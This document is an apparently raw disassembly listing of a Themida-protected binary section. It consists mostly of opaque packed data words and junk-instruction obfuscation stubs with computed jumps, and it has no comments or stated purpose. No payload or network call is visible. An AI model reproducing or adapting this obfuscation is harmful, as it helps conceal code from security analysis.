		dd 0CADA6482h, 0FE480086h, 526D3610h, 0EB83364Eh, 8757AF04h
		dd 512E97Ch, 0FE080000h, 0A4F31CC7h, 52A14E95h,	0F30BE47Fh
		dd 0A2F617CCh, 0EAF14093h, 2D360913h, 5D86BBC0h, 8A6964B0h
		dd 263D081Dh, 0EB9F17D5h, 7CC58620h, 0D5DE178Dh, 5FA514F8h
		dd 112F360h, 8C994034h,	91CCDB1h, 93E55438h, 1E69D0A4h
		dd 0A7E15F23h, 267C5426h, 0EE357EA7h, 941D0246h, 44E8C3h
		dd 87C3941Dh, 0E408C4B3h, 0C3941DE0h, 0DB3F1367h, 0AE99EF18h
		dd 0B9CA3BB5h, 4B51388Ch, 684C8074h, 0C4FAF0AFh, 0CE78C421h
		dd 0AA1E297Fh, 112C75A0h, 3C0116F7h, 0A598E148h, 2E1368D1h
		dd 0B5306A5Ah, 69643CD9h, 0B8CC7480h, 4B50398Dh, 6A4E8276h
		dd 0F700ED76h, 39E476DAh, 0A232DCE3h, 0C3945C23h, 0FC1491EBh
		dd 3241324Dh, 5764h, 33BD8000h,	0BD7B0F8Ch, 2F2795E8h
		dd 0C3948D5Bh, 1A350D2Ch, 0D944BA87h, 300114E5h, 6FDE084Ch
		dd 8B5B2F1Ah, 0C394DDF9h, 9A6E7F35h, 3241B173h,	15Eh, 0D7DEA600h
		dd 0BAC416FAh, 941D5632h, 47E1D9C3h, 3E82BFC6h,	8408374Fh
		dd 0AE57564Ch, 1C896A67h, 0DF253E0Bh, 17FBDADEh, 9E625FA6h
		dd 3EE7E620h, 0EF18DBFAh, 72DBAF9Ah, 0D5C02A27h, 0C3078BC6h
		dd 88282D25h, 0F356877Dh, 6F533240h, 0C9000000h, 4FF9C4DCh
		dd 0DDADEE9h, 941DED99h, 0FF1862C3h, 523E88A6h,	0C9BD9113h
		dd 49E31160h, 49FD4B99h, 448C7054h, 842077A6h, 9EF24673h
		dd 9B2A8CBAh, 0CC172E72h, 12E6D923h, 986C53ABh,	5AAE3F65h
		dd 3241CEA3h, 438Eh, 0A5F32200h, 0FADEE93Fh, 2E143216h
		dd 17FBDADEh, 0ADBC5EA6h, 656FFFD8h, 0CFFA0FFEh, 0D60267EBh
		dd 0EBEA2ED7h, 0D7DE8808h, 0D9C416FAh, 0CB0FF3CEh, 1D38491Dh
		dd 0B8F2C394h, 0F136D72Dh, 1133240h, 0FD000000h, 0AFED3DEh
		dd 0F17B56A3h, 262B964Ah, 6EA9254Ah, 6FE27BCAh,	0F058F671h
		dd 59BE4F45h, 0B2EC774Ah, 638B51EAh, 0BD9E5C16h, 0AE1FE3D7h
		dd 1A8B6865h, 98483C09h, 3A6160EAh, 5D21186Bh, 0DBAF96ECh
		dd 176B7A3Eh, 8C9F0E12h, 60A7234Bh, 0D2283A61h,	0B8B141FEh
		dd 0A99F42EBh, 43A8257Fh, 0B4898E36h, 11628350h, 368F9EFFh
		dd 8876386Eh, 0E9062C24h, 0A115096Dh, 2E92AFF8h, 5041FE70h
		dd 0DBF202A5h, 0A807613Ch, 40A9247Eh, 4FD91A37h, 7FDDA93Dh
		dd 68523A61h, 52AD5CBEh, 5B842C36h, 60000001h, 0E4760D6Fh
		dd 9EFF1140h, 0D0A49EBDh, 0ADFA1C69h, 0FE6D373Ch, 7AAB48ACh
		dd 477A8929h, 510C44F3h, 5C542DB0h, 0C9B00478h,	0C95B81BCh
		dd 60A721A5h, 0B25CA63Ah, 0AE99EF5Eh, 162973DAh, 701498A2h
		dd 0F73A60A7h, 7C89A383h, 7372B402h, 9E4C798Ah,	447B4821h
		dd 153341A4h, 0D027D652h, 0F391DE1h, 3513FC2Dh,	4AD52Ch
		dd 56470000h, 1B6F8740h, 0EC3A6032h, 0AE94B296h, 0E5770C6Fh
		dd 941D5541h, 7AE0DAC3h, 1D0044E8h, 0B387C394h,	0D1B5BD95h
		dd 0C3C3941Dh, 0A954DCE9h, 57D4635Eh, 0A77B55C6h, 2B704CFAh
		dd 76A2CA10h, 0F9C394BBh, 0A7A35281h, 0CD000000h, 0E4760D6Fh
		dd 9F052140h, 27B1C3BDh, 60CBFB8Fh, 0FE764C3Ah,	3A60CB8Ah
		dd 0C0B251Dh, 0D9B72436h, 5964C369h, 0D4858DBBh, 806DF6C3h
		dd 65905A77h, 307211Ch,	60B39C23h, 0E7DA233Ah, 6C59AA13h
		dd 0E9E43E98h, 45409095h, 0E57E4B5Ch, 9258E3B9h, 72BFA71Ah
		dd 0FE42B844h, 3E4AE26Ch, 0F130766Dh, 28B05034h, 0FE05F1Ah
		dd 38D6CAF5h, 1F5C0D5h,	59119C14h, 6F5AAD43h, 0A9DD519Bh
		dd 3E30760Dh, 5E8CE0C4h, 64017BD6h, 2374A14Eh, 24A0C416h
		dd 0AB2E5BCEh, 0BB5AB957h, 2973526Fh, 0D16EA216h, 9EF2FD8Bh
		dd 0D6FBF45h, 0CD40E476h, 42BD8611h, 0D0259478h, 84917EE5h
		dd 2B6DC549h, 0BB3ECEAh, 1A6F9411h, 0A89E3D2Fh,	51333CC0h
		dd 65E9D82Fh, 4023CD21h, 435097C4h, 8A889394h, 71C5F403h
		dd 91AF31Dh, 99E1483Ch,	0B9ACD84Ch, 0DF23BCCCh,	0AEEA17FBh
		dd 90ADF61Fh, 6451A243h, 113F90h, 0BD590000h, 0EBCFEF1Eh
		dd 0F9DDA198h, 0E14CA25Eh, 0DEA49C47h, 0A009FDD4h, 27967A57h
		dd 0AB12E6D1h, 329B6F52h, 0BA63D7EEh, 2EB5F66h,	8871C5FCh
		dd 0DFC4079h, 0CF7BCFFAh, 815D5455h, 4C5h, 4ED8300h, 5C242C87h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	ebp
		mov	ebp, 24FB0DE8h
		or	ebp, 1B64717Bh
		sub	ebp, 17B87FBDh
		inc	ebp
		sub	ebp, 1F2297B4h
		mov	ebx, ebp
		pop	ebp
		not	ebx
		add	ebx, 2311AAEh
		xor	ebx, 0FF1E89F4h
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	2685h
		mov	[esp], ebx
		pop	dword ptr [eax+8]
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		dw 0E755h
; ---------------------------------------------------------------------------
		push	es
		adc	eax, 0E66F37E0h
		mul	byte ptr [ecx+2A91B856h]
		mov	eax, 612423Ch
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 84h,	40h, 7Dh
		dd 305B1E41h, 0AA904367h, 0BC64463Ah, 8C4B003Eh, 1B31087Dh
		dd 0A496C74Eh, 81210F71h, 9C8B8D3Dh, 1D1DDD01h,	4A12A20Eh
		dd 9EC01F0Ah, 0E7EED817h, 875D9C77h, 86EB661Ch,	0CA4CE749h
		dd 544FC101h, 2DD50976h, 9850E423h, 0E4F0951Fh,	149F4714h
		dd 6B6AC43Eh, 0AA323702h, 0A85D2301h, 8EDE1C4Dh, 949D9040h
		dd 3B04EB64h, 0E91CC8B7h, 573h,	825168BAh, 3C271265h, 6A89C0D3h
		dd 855E65BDh, 362D1068h, 7F85588Fh, 2D729340h, 0D222C310h
		dd 7A8F78FBh, 8567944Fh, 865E6561h, 0A51BEAC5h,	0C3721EBDh
		dd 38AFD92Ah, 0DCCEBA32h, 7941C394h, 8D357ECFh,	84F84C7Bh
		dd 176DDCA0h, 0C9DACB28h, 54A108FCh, 0DAAE9BECh, 0AD5882E6h
		dd 40D16E55h, 6EDC7CD3h, 0C715FD2Bh, 56AB8E98h,	5A97820h
		dd 0C394D341h, 6E98FCC6h, 0D5B9889Fh, 0A226A7FDh, 0FA142B73h
		dd 28CB0613h, 459EA9FFh, 0A3F45CA8h, 8AEE2296h,	2AA3406h
		dd 0C394D346h, 0F657F1C9h, 0D289CA1h, 87917677h, 297AAB48h
		dd 0F94D7089h, 15DDA185h, 0C394D374h, 13E9E4BEh, 3241BEFAh
		dd 5DD7h, 0D5DE3100h, 0C92D186Dh, 1D9FED45h, 5D57C394h
		dd 0F091B850h, 1B83240h, 44000000h, 94450BDh, 2A276EDFh
		dd 106994A6h, 0FB0A032Dh, 8D71485Bh, 38E15549h,	0A3F825E2h
		dd 1ED62A9Eh, 0C3941D6Ah, 0DDA185FDh, 30C877F5h, 0D9869C13h
		dd 4441638Dh, 0FA79485Fh, 4C58F80Dh, 55498D71h,	0DADE768Eh
		dd 96C517FBh, 2A5F7E5Dh, 0CBD0B904h, 0A2F558F6h, 33752397h
		dd 7EB12EB2h, 0CFB93689h, 0FD070620h, 0A3F411C2h, 0ED182296h
		dd 2CA97595h, 8FD1680Bh, 45E327ABh, 9E5BB9C8h, 5FA50EF0h
		dd 0B564E8CCh, 3DEC506Fh, 8475D9E4h, 98FC4071h,	0D4A6277Dh
		dd 0AE626331h, 3241986Fh, 7FBAh, 0A43600h, 0C394B144h
		dd 0E359F7CBh, 0CFBB33BDh, 40C3941Dh, 3B41CC7Ah, 0BAC9B004h
		dd 0D9D33387h, 0E2DD27CCh, 248C9471h, 102F77DFh, 8574D83Ch
		dd 0CF5F9D7Dh, 756B0E75h, 8A8AD11h, 95D607FDh, 0D9C43241h
		dd 8D54F2C1h, 6Bh, 4550BD6Bh, 0A24C8074h, 9A6E51ABh, 297FE533h
		dd 7256AA1Eh, 77816B8Eh, 1D0541E5h, 0B08AC394h,	941DD4B0h
		dd 0AEF25BC3h, 8BEF2397h, 0A54A5B5Dh, 5F3605Fh,	70FAD7DEh
		dd 1D3A4EE6h, 0B58DC394h, 0CEBFB79Bh, 51C3941Dh, 0B891E048h
		dd 0F309F044h, 0FF2578CCh, 2E649CEEh, 9FE8159Fh, 4CFADEA2h
		dd 40F13BD2h, 11632h, 0DEFE0000h, 0C00AFED3h, 56F0CFD5h
		dd 4597A2F7h, 0D6704958h, 0C0CDC772h, 62F1C8DBh, 9D36834h
		dd 9EFC90E5h, 0FF6D55BDh, 0C08DF96Dh, 38023A60h, 46533A0Eh
		dd 0DF57E10Bh, 3A60C0ABh, 7649533Ch, 0BC6A4E82h, 7AB9CA3Bh
		dd 60C096F2h, 320D173Ah, 0B58D0A4Eh, 745ED51h, 323A60C0h
		dd 0B05DE7E6h, 0ACE05465h, 437E8B82h, 628A1490h, 3A60C066h
		dd 967791E9h, 18AAB08Dh, 0C062668Eh, 9DE53A60h,	60C03155h
		dd 32BAB63Ah, 3A60C056h, 638DE1D9h, 6BB05DEFh, 4055B856h
		dd 0DDD78175h, 15DE2BD0h, 60C0F591h, 1520743Ah,	0E77C50AAh
		dd 35CDF415h, 162DD2Ch,	6F3B0000h, 40E4760Dh, 0BD9EFF11h
		dd 0EFE2319Eh, 7FC3271Bh, 0AB48858Eh, 42EA297Ah, 3A60CF06h
		dd 6E2826C9h, 6F12692h,	0E312D83Ch, 0BB8FB990h,	0F4C1D2h
		dd 887C4359h, 16FAD921h, 0B65F6EA8h, 0A9ED5160h, 3CC9CBB5h
		dd 6CF7C2D7h, 35337990h, 5C502Ch, 6FBC0000h, 5BE5770Ch
		dd 941DB7D3h, 24C238C3h, 1DF6224Ah, 179C394h, 891DAFBDh
		dd 0C3941DFDh, 7B810872h, 729CF044h, 941DE6E2h,	201F67C3h
		dd 0AC9BED5Ch, 0A9247ED8h, 28A5FFD5h, 0C8122972h, 941D70A4h
		dd 5083F7C3h, 565367D4h, 8D951F79h, 0D6610A0Ah,	0F711A0E2h
		dd 0B300h, 50BDA800h, 7087764Bh, 6F99FD41h, 24364D2Fh
		dd 9F05E180h, 0A0146EBDh, 0D74AACF9h, 7687E5EEh, 8461F2D6h
		dd 0A944673h, 60B2E6E2h, 0F711693Ah, 0B38CD313h, 95873A60h
		dd 9BCD3926h, 7997FD60h, 3C49AE3Fh, 52B68394h, 0BCC7D581h
		dd 8F1D06AEh, 146E4471h, 4ACF9A0h, 1C70C4F5h, 96E55438h
		dd 1B66D7BBh, 0A2E45226h, 71159923h, 0F6307612h, 0DF6DA88Ch
		dd 3FE9E82Eh, 6A326865h, 12FB8F27h, 3C423076h, 6C40BA05h
		dd 0D34D76FEh, 0A2534E67h, 49C6605Dh, 0F77C9EE4h, 8E0BA5C3h
		dd 0C812766Ah, 8FCCBDDh, 0CF591A34h, 0BFFD6DEh,	926653A2h
		dd 0B6AC5ABEh, 0E4760D6Fh, 85DC5B40h, 1AEED4BDh, 90166BD0h
		dd 0E85D1EA6h, 0F8DCA099h, 96E36A84h, 0F6EAE72Eh, 17CE36Dh
		dd 3C11D364h, 1A6FDE08h, 0EB5F66BAh, 0E3C7FE02h, 0C4313B8Fh
		dd 0DD3185B0h, 0E53EA722h, 0D07E671Fh, 0A38D5304h, 5C694353h
		dd 8C5762B7h, 573B1663h, 0BBA190E6h, 8408354Ah,	9CA3F940h
		dd 0D63AD428h, 53271267h, 24A895EAh, 4539B4EEh,	4EDF8B8h
		dd 0F01DC6F3h, 6126AAA7h, 3, 0DE9C848Bh, 0A009FDD4h, 27967A57h
		dd 0AB12E6D1h, 329B6F52h, 0BA63D7EEh, 2EB5F66h,	8871C5FCh
		dd 0DFC4079h, 0CF7BCFFAh, 57E68956h, 4BFh, 5FFE0100h, 8704EE83h
		dd 685C2434h, 5CD5h
; ---------------------------------------------------------------------------
		mov	[esp], ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	esi
		mov	esi, 310F792Dh
		dec	esi
		xor	esi, 371D3A48h
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 8
		add	ecx, edx
		mov	[ecx], ebx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		dw 8A23h
; ---------------------------------------------------------------------------
		fidiv	word ptr [esi-45h]
		sbb	[esi-6Eh], bh
		enter	58B8h, 48h
		adc	al, [esi]
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 19AD8174h, 5F42988Dh, 6B4A24E4h, 141EC89h, 4D866753h
		dd 6BA76F3Dh, 2BD2CA1Ah, 16344403h, 60416705h, 198C8DA5h
		dd 27213D35h, 0E7F01B9h, 1BBA38FCh, 54901ACh, 40C63D80h
		dd 466F841h, 16BBFFA3h,	2DA9B6F4h, 531848DDh, 0FDEA04EBh
		dd 45E90697h, 0E9000005h, 50BDA69Dh, 3EEF7445h,	0E805DEF3h
		dd 57B0A392h, 52E1724Dh, 95A8F00Bh, 6558A14Eh, 0C80711FEh
		dd 9CA9FA2Bh, 3EB6BA47h, 0C586544Ah, 13826EDDh,	0D740340Bh
		dd 0FFC485E0h, 42206FEh, 4150BD1Eh, 1A6FDE08h, 0AEF25B2Fh
		dd 56A34C97h, 0F004F17Bh, 0F31D71C5h, 6865AE1Fh, 0D7E235E4h
		dd 0FC092363h, 2C370217h, 0CA2C75A0h, 0E93CE29h, 0CB11752Eh
		dd 94FD27A3h, 0B452A8C3h, 0E3704F59h, 0B92DF202h, 0C394FDCDh
		dd 0B0047842h, 398DB0C9h, 860A4750h, 0DF1C0D7h,	79159010h
		dd 20C9C4DCh, 8D7AF9D4h, 69F94D78h, 0C394FD18h,	37CDD8D2h
		dd 3241D116h, 8533h, 0D5DEDD00h, 0AEDC14F8h, 66C3941Dh
		dd 0A41BA12Ch, 90CBE8C9h, 0F175E7EAh, 0C3945E95h, 1406201Ah
		dd 324133F5h, 1DCh, 0D7DE3800h,	64812821h, 48AC1455h, 292073A2h
		dd 43C761A5h, 0ACBE8B9Ah, 0F0A9BC0Fh, 2F47E052h, 0C394315Bh
		dd 0BF2D62Ch, 67ACEF1h,	65DA60E8h, 4CE044C7h, 0C3943538h
		dd 6F8C4B8Fh, 88FC70B9h, 1FC3948Ah, 2429C73Bh, 3313E7DEh
		dd 0F007ECF9h, 679612C1h, 795D2110h, 18357ECFh,	0DADE3DDBh
		dd 5FA617FBh, 0E6209E62h, 0DBFA3EE7h, 472F8C18h, 43567D3Eh
		dd 899A739Dh, 1261C8BCh, 0BA32D3Fh, 0C394FB7Fh,	0F45C8AF0h
		dd 4E424351h, 3241D88Fh, 679Ah,	0DADE6200h, 708471FBh
		dd 95A7AB45h, 592D1068h, 3742CB65h, 8C5EB61Ah, 0A241B61h
		dd 0ACF41DA8h, 4F5A4B91h, 0F213D472h, 7A2397AEh, 94A91D24h
		dd 0D20B810Ch, 0DF3240F2h, 43h,	0DDADE39h, 941DED99h, 0B11862C3h
		dd 0A1E56964h, 0F8209F4Dh, 8865D493h, 2F9E729Ch, 71AEED9h
		dd 0D12BD0DDh, 0AFB75EEh, 3A20CEFBh, 16FAD7DEh,	941DAFDEh
		dd 0A02D67C3h, 40F0C168h, 1E832h, 0DE740000h, 0A30AFED3h
		dd 6A977B56h, 2B769F2Eh, 3143CD16h, 941DC9BDh, 1A925EC3h
		dd 0C3941D6Eh, 8BA599E1h, 3D476933h, 665ABE02h,	0FC6570F4h
		dd 76A7BD9Eh, 16F51322h, 0A4F1582Ch, 0CF3E4AA9h, 0C00488B7h
		dd 0E7D22726h, 0C0B1D313h, 0EF343A60h, 67BF6ED2h, 0C04206AEh
		dd 0FDC53A60h, 0A0F03599h, 0C546925h, 45E97B81h, 3A60C001h
		dd 0A983BC86h, 0B08CEB76h, 0BFC845E3h, 63B45182h, 0CE58E256h
		dd 90D05491h, 3F37AAD0h, 3A60BF4Bh, 0C548E6DCh,	483185B0h
		dd 0D0B90D30h, 0E2078BCAh, 0FD5B37B6h, 0B0C52ABBh, 8BA25E85h
		dd 0A62C3592h, 159h, 0BB33BD4Eh, 0C3941DCFh, 0F0CC7A40h
		dd 0C6F302ACh, 85F478E2h, 7BD9EFFh, 92BC8196h, 10F94DB5h
		dd 9F29CA07h, 0A495E00Dh, 60CFD8ACh, 0DEAAC23Ah, 513A60CFh
		dd 7A94EE69h, 0A14B8693h, 0CFEB9F17h, 67C3A60h,	48DA60E8h
		dd 60CFA024h, 0ECD3293Ah, 675B2418h, 0DD3344C9h, 16FE14AEh
		dd 8D7155B4h, 678F19D3h, 3A608063h, 36709EE4h, 8454EB7h
		dd 42EA33E2h, 5F23073Eh, 806D198Dh, 98E23A60h, 2FE98AA4h
		dd 2C358DFEh, 382Bh, 0C6F3500h,	5541E577h, 0DAC3941Dh
		dd 0B0D41CE0h, 0A2C3941Dh, 75405540h, 1A34D81h,	0B6CDAE84h
		dd 1D1400A4h, 271BC394h, 9FC53Ch, 891B0000h, 6BE26165h
		dd 729CE63Ch, 760D6F8Ch, 52140E4h, 54AEBD9Fh, 53AB5AE0h
		dd 8AA4986Ch, 915B7683h, 54251064h, 13D4724Fh, 2094A1F2h
		dd 60CA7F00h, 9F2E4A3Ah, 67638B15h, 0E83A60C8h,	0B7E10D49h
		dd 1377AD08h, 320F18F5h, 1C277521h, 750591CEh, 0B2AF33BFh
		dd 5C52DA94h, 0EF447153h, 0A1970B70h, 3F13E1CCh, 0A491E24Bh
		dd 0C48024B6h, 4B307679h, 0C471D977h, 4ABBC1CCh, 56DE0C39h
		dd 30767932h, 1BA34DB5h, 0FC70FA81h, 4E6782E2h,	2EDF0D75h
		dd 0E97DEFE6h, 2E44069Dh, 65FE2812h, 760D6F9Fh,	5CAB5AE4h
		dd 0B9849C6Dh, 0E6E9C78Fh, 7ABD85h, 8DB8CDBCh, 0A76CB956h
		dd 0D2122F76h, 3A79AAB6h, 19EDC139h, 0FC3BBAC9h, 7F8EA43Dh
		dd 0DF258D96h, 0B6578CE0h, 84B3C56Dh, 156DDCA0h, 0C4D13C2Eh
		dd 4EEB5F89h, 8A31BB4Ah, 3DB13E30h, 3AFCC949h, 455BE4DEh
		dd 0BDB34C0Eh, 8C1CFF23h, 4750BD6Bh, 0E635E00Ah, 4DBA3DEBh
		dd 0BC8D9838h, 61A46383h, 766AC113h, 0D2E139E4h, 14FC2A6Eh
		dd 0AB3h, 50BDDD00h, 40840841h,	0DE07FDA6h, 0A009FDD4h
		dd 27967A57h, 0AB12E6D1h, 329B6F52h, 0BA63D7EEh, 2EB5F66h
		dd 8871C5FCh, 0DFC4079h, 0CF7BCFFAh, 81E38953h,	4C3h, 4EB8300h
		dd 31241C33h, 1C33241Ch, 89515C24h, 4C181E1h, 83000000h
		dd 0C8704E9h, 2C895C24h, 48926824h, 0C890000h, 3685224h
		dd 5A27B037h, 2217B951h, 81491FB9h, 0D34D38C1h,	59CA2127h
		dd 6E35F281h, 0D5890192h, 5599685Ah, 24890000h,	24048324h
		dd 89505904h, 84189E8h,	8124048Bh, 4C4h, 240C8B00h, 81E28952h
		dd 4C2h, 4C28100h, 87000000h, 0FF5C2414h, 835D2434h, 0C8E904C4h
		dd 5FFF930h, 140BD5Fh, 0D471C9FAh, 0B0AF69F7h, 124DE0B8h
		dd 0FFC50306h, 4D24B9E0h, 1BC1056Ah, 695B737Dh,	8D972565h
		dd 6CE9613Fh, 3FFE4203h, 439F2024h, 6279E06Dh, 7791480Eh
		dd 314F5E34h, 0F485165Eh, 205BE033h, 0C1F72E1Dh, 0E6CBC80Eh
		dd 7EE7F29h, 0F61D4B6Bh, 1C5E6403h, 1328CD38h, 656DED3Dh
		dd 5E80810h, 2B5B0A71h,	3D716600h, 341EB53Ah, 81360E59h
		dd 445BF815h, 10EB0Ch, 3 dup(0)
		dd 8B000000h, 0D08B66C0h, 5BDBD83h, 7500060Bh, 0D1BD8309h
		dd 60B29h, 53501974h, 2DB8C08Bh, 89000004h, 0B2A3585h
		dd 1A9D8D06h, 0FF060DB3h, 83585BD3h, 0B29D1BDh,	17740006h
		dd 2DB85350h, 89000004h, 0B2A3585h, 99D8D06h, 0FF060DB0h
		dd 89585BD3h, 0B20818Dh, 85BD8906h, 66060B16h, 0C08BD78Bh
		dd 0B91B589h, 8D8B060Bh, 60B0E41h, 83D0B70Fh, 840F00F9h
		dd 7Eh,	0A3A9F681h, 8B645929h, 2C3Dh, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 0AE936D2h, 0C9000000h, 0C9C4912Ah, 491EA6Bh,	0FFF0B84h
		dd 3D84h, 6E800h, 22170000h, 75798492h,	7E9h, 0A9A47E00h
		dd 37EEC307h, 663F8B5Eh, 236E2EBAh, 0B06A9B5h, 0E8C03206h
		dd 8, 2AB32DA0h, 0F322BE63h, 0F35EB4B6h, 0D68166AAh, 49358846h
		dd 6A535041h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0FBD0C353h, 68A0988Bh,	958B0CCAh
		dd 60B1375h, 284585C6h,	6A47060Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 8788C352h
		dd 0F7E537A6h, 1771BD89h, 5A68060Bh, 50BFD9B7h,	8E852h
		dd 447A0000h, 9413990Eh, 6160F6A6h, 60310F5Ah, 860FB3B7h
		dd 0
; ---------------------------------------------------------------------------
		popa
		pop	edx
		pop	eax
		add	dword ptr [esp], 1CFCD0D2h
		mov	dh, 9Bh
		push	dword ptr [ebp+60B1355h]
		jmp	loc_5B1133
; ---------------------------------------------------------------------------
		db 92h
		dd 423B1F7Bh
; ---------------------------------------------------------------------------
		sub	dl, 0C2h


loc_5B1133:				; CODE XREF: Themida_:005B1126j
		lea	eax, [ebp+60E7D18h]
		movsx	esi, bx
		call	eax
		jnb	loc_5B114A
		mov	[ebp+60B0949h],	eax


loc_5B114A:				; CODE XREF: Themida_:005B113Ej
		add	dx, 9C17h
		mov	[ebp+60B05D9h],	eax
		sub	[ebp+60B0E0Dh],	ecx
		xor	[ebp+60B0409h],	edx
		mov	byte ptr [ebp+60B2845h], 53h
		mov	edx, [ebp+60B0209h]
		push	0C7824087h
		mov	dh, al
		xor	dword ptr [esp], 4F1A2A7Bh
		mov	[ebp+60B197Dh],	edx
		movzx	edx, bx
		push	dword ptr [ebp+60B1355h]
		mov	esi, 6DD3459Eh
		mov	[ebp+60B008Dh],	ecx
		lea	eax, [ebp+60E7D18h]
		mov	[ebp+60B14B5h],	ebx
		call	eax
		push	0
		push	ecx
		call	sub_5B11AF
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B11AF	proc near		; CODE XREF: Themida_:005B11A7p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5B11AF	endp

; ---------------------------------------------------------------------------
		db 62h
		dd 0F363F595h, 894B3A79h, 0B089185h, 8DD38B06h,	0E3ECA85h
		dd 16850F06h, 0E9000000h, 11h, 0E3FF9922h, 76303233h, 0A2CB06F5h
		dd 6D4E6BCDh, 0BD85899Ah, 0E8060B1Bh, 10h, 5C56AD43h, 59830FBDh
		dd 56C58865h, 9CA44304h, 3121958Bh, 6A5E060Bh, 0FFFF6A20h
		dd 0B1BBD95h, 41493506h, 85C75350h, 60B1611h, 1, 1585C7h
		dd 60Bh, 95890000h, 60B22E9h, 0DE9h, 49B13D00h,	0F2B45B6Dh
		dd 0B67DBC91h, 0BD834607h, 60B2715h, 63840F00h,	6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 7385C356h, 663693A5h, 858BF78Bh, 60B0925h
		dd 64D38B66h, 0A3h, 0DE816600h,	858B6630h, 60B32B5h, 293D9589h
		dd 0E08B060Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	0EEC35343h, 0BD836BB6h,	60B08D1h, 62850F00h, 0F000004h
		dd 482h, 7FBE6600h, 4585C6C4h, 56060B28h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ch, 3C35040h, 396C1C7Fh
		dd 0DC2C3934h, 0EE9h, 0F1DB00h,	0D28ED1CDh, 82FDFEDFh
		dd 0F7D100Bh, 0D368D3BFh, 606F0BB9h, 0D9D7BA66h, 24048161h
		dd 3AB9770Ch, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 18h,	0EDC35545h, 393E89D9h, 10E8h, 9EC6A800h, 6781F523h
		dd 96ECB945h, 3BD8D4C4h, 219D89E5h, 5A060B09h, 1355B5FFh
		dd 0B52B060Bh, 60B1A2Dh, 7D18858Dh, 23F8060Eh, 0B0D9D95h
		dd 0E8D0FF06h, 6, 80E852Bh, 0B58B4395h,	60B1145h, 5E50905Eh
		dd 66525050h, 310FF78Bh, 585AAEB6h, 0CE890h, 41F40000h
		dd 16C87F4Fh, 2F59DD9Ah, 0BD895E33h, 60B0699h, 458D8D5Eh
		dd 8B060B05h, 0BA6650D6h, 0C89B64Eh, 68B0F24h, 89000000h
		dd 0B19C19Dh, 9FC28106h, 6A235F07h, 0F6BF0F04h,	4E8h, 100000h
		dd 60525000h, 1FB25853h, 0BE310F61h, 7DC99140h,	6050585Ah
		dd 23FE5DB8h, 10E95366h, 7D000000h, 5F9F683Bh, 55DA7197h
		dd 0CD665275h, 58314EE7h, 24448B61h, 0F18B6604h, 0F18B008Bh
		dd 4244489h, 8B58F18Bh,	0B090D95h, 9DB5FF06h, 0F060B15h
		dd 0BD89F2BFh, 60B005Dh, 25BED0FFh, 0E80E13EAh,	0Fh, 0B28C7AABh
		dd 5F363211h, 70B4A164h, 0F0F21C3h, 8B5EF2B7h, 0B159DBDh
		dd 0F3BF0F06h, 6A3C7F03h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 80B4C355h, 8166AAF9h
		dd 81A688F2h, 0F8C7h, 2447C700h, 60000020h, 83F28B66h
		dd 124EEBBDh, 840F0006h, 187h, 28C783FCh, 0CFDE8166h, 0EE97Ch
		dd 5E30000h, 98529F45h,	523554C1h, 0A2596626h, 6A2E07C7h
		dd 47C76469h, 61746104h, 6830F00h, 8B000000h, 0B243D95h
		dd 0F3858B06h, 6A06124Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0BB62C353h,	0EC987754h
		dd 28E3C667h, 81D18B66h, 99BE37E6h, 0C47891Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 71C35141h, 7012DFD6h
		dd 0E989A6B1h, 11h, 22D51E7Eh, 0D05649D8h, 574E35A8h, 0B0C4B231h
		dd 0F7858B5Ah, 6606124Eh, 89D023BEh, 6A0847h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 79A00FC3h
		dd 0F618C359h, 11D958Bh, 0C783060Bh, 8E928h, 4A90000h
		dd 3ED375DCh, 7C72643h,	6E6F632Eh, 89F0BF0Fh, 0B2905B5h
		dd 447C706h, 676966h, 0E853006Ah, 3, 5BC35B20h,	4245C89h
		dd 4244481h, 17h, 0BEC35343h, 895EA584h, 0B0151BDh, 0EF858B06h
		dd 0F906124Eh, 890C4789h, 0B1F718Dh, 0EB858B06h, 6A06124Eh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0B038C353h, 4789182Eh, 52006A08h,	3E8h, 0C35A2000h
